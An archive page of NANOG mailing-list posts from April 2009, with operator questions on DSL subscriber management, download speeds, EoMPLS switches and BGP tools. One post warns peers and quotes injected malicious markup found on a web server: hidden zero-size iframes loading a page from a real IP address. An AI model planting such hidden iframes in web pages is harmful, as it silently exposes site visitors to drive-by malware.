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DSL Subscriber management
by Sherwin Ang 22 Apr '09

22 Apr '09

Hello Nanog! i just would like to see how other operators are handling broadband/DSL subscribers in their BRAS. Currently, we are implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As our subscriber base grows and grows, management of user logins, passwords, password resets, password changes are getting really huge. Some customers also complains about the method of logging in, asking for an easier way to do it or dump logins altogether. We're looking at DHCP/CLIPS for Redback but haven't really tested it since it requires a new license for it. For Cisco, we've been empty so far in looking for a solution wherein we still have accounting and rate-limiting on subscriber vc's. how are network operators in your areas do it? DHCP? if i do DHCP, will i still have the flexibility of sending a radius reply attribute so i could rate-limit the subscribers speed? or still offer speed on demand via radius/time-based upgrade of their rate-limits during off-peak hours? thank you for any insights that you may share. -sherwin

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ADMIN: Reminder on off-topic threads
by Simon Lyall 22 Apr '09

22 Apr '09

A reminder that discussion of the following topics are off-topic for the NANOG list. * Website security * Corporate governance * Arin IP address policy Please ensure that posts are network operations orientated. Simon Lyall NANOG MLC ( on behalf of) -- Simon Lyall | Very Busy | Web: http://www.darkmere.gen.nz/ "To stay awake all night adds a day to your life" - Stilgar | eMT.

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downloading speed
by chandrashakher pawar 22 Apr '09

22 Apr '09

Dear Group member, We are level one ISP. one of my customer is connected to fast ethernet. His link speed 100,000 kbps. while downloading any thing from net he downloading speed donot go above 200 kbps. While doing multiple download he get aroung 200 kbps in every window. But when he close all the windows no change in downloading speed is observed. our router is C12KPRP-K4P-M Please advise what could be the cause? -- Regards Chandrashakher Pawar IPNOC Customer & Services Operations Tata communication AS6453 mobil + 91 9225633948 + 91 9324509268 learn.chandra(a)gmail.com

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Re: The real issue
by Bourbon.Odenthal＠sce.com 22 Apr '09

22 Apr '09

On Apr 21, 2009 19:46 Shane Ronan wrote: > 2) Have the current "owner" pay the market rate for the IP space I'm curious what the going rate on a /24 is? -bb

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Yahoo mail admin
by Blake Pfankuch 22 Apr '09

22 Apr '09

Can I get a yahoo mail services admin to contact me off list? the normal channels have been getting me nowhere. "a representative will be in touch with you in a few days" has been going on for about 2 weeks. Blake Pfankuch Connecting Point of Greeley Network Engineer 970-356-7224 [cid:image001.gif@01C9C2B5.E5BDA550]

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Any experience with EoMPLS PE switches?
by Jason Lixfeld 22 Apr '09

22 Apr '09

Looking to migrate away from a VLAN centric core to provision client TLS circuits into something a little more scalable. EoMPLS seems like the apple to chew these days. Anyone have any experience with a cost effective EoMPLS PE (VPLS is likely going to be a necessity down the road too) that also does what any other purpose built edge switch would do? QinQ, L2 protocol tunneling, port security (MAC lock down, UNI ports, etc), DHCP server, LACP, MSTP, BGP/OSPF/ISIS? In a perfect world, this thing would be about 1U, have between 12-24 ports, mixed mode (SFP + RJ45) 10/100/1000, dual DC power. Not looking to burn up glass by pulling all our customers back to a central aggregation box, so we'd be looking to drop one or more of these devices into all of our on-net buildings (40 or so), so they'd have to be relatively cost effective. Cisco doesn't seem to have anything reasonably priced. I haven't had much luck keeping MRV's 910 series from crashing. Off-list replies are probably fine. If there is any genuine interest, I'd be happy to post my findings. Thanks in advance.

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Malicious code just found on web server
by Russell Berg 21 Apr '09

21 Apr '09

We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> <iframe src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> </body> </html> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications berg(a)wins.net 715-832-3726

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tools for BGP
by Irfan Zakiuddin 21 Apr '09

21 Apr '09

Hi, I am interested in commercial tools for managing BGP. I would be interested to hear which commercial tools BGP administrators recommend or like; and why they like them. I would be equally interested to learn which tools people don't like, and why. If people don't feel able to name tools, then I would still be grateful for a description of unhelpful features or an outline of why functionality is to limited. This should not require giving product names. Finally, I would be most interested if people think there are no commercial tools which are of much use. thanks in advance for your help.

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Re: tools for BGP
by Scott Weeks 21 Apr '09

21 Apr '09

--- irfan.zakiuddin(a)googlemail.com wrote: From: Irfan Zakiuddin <irfan.zakiuddin(a)googlemail.com> I am interested in commercial tools for managing BGP. -------------------------------------------------- Have you looked at the NANOG mailing list and meeting archives yet? If not, you should do so. There is a lot of info there. scott

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CN=Ali Khurram/O=KFPW is out of the office.
by ali.khurram＠unitedgroupltd.com 21 Apr '09

21 Apr '09

I will be out of the office starting 30/03/2009 and will not return until 26/04/2009. UNITED GROUP This email message is the property of United Group. The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, you may not disclose, copy or distribute this email, nor take or omit to take any action in reliance on it. United Group accepts no liability for any damage caused by this email or any attachments due to viruses, interference, interception, corruption or unauthorised access. If you have received this email in error, please notify United Group immediately by email to the sender's email address and delete this document.

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